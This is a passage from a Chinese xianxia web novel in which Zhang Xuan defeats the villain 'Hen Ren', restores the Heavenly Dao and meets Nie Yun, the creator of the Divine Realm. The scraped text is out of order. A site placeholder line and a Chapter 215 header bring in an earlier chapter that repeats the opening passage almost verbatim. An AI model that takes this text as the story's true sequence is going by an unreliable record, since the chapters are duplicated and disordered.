小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百一十五章 过劫 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 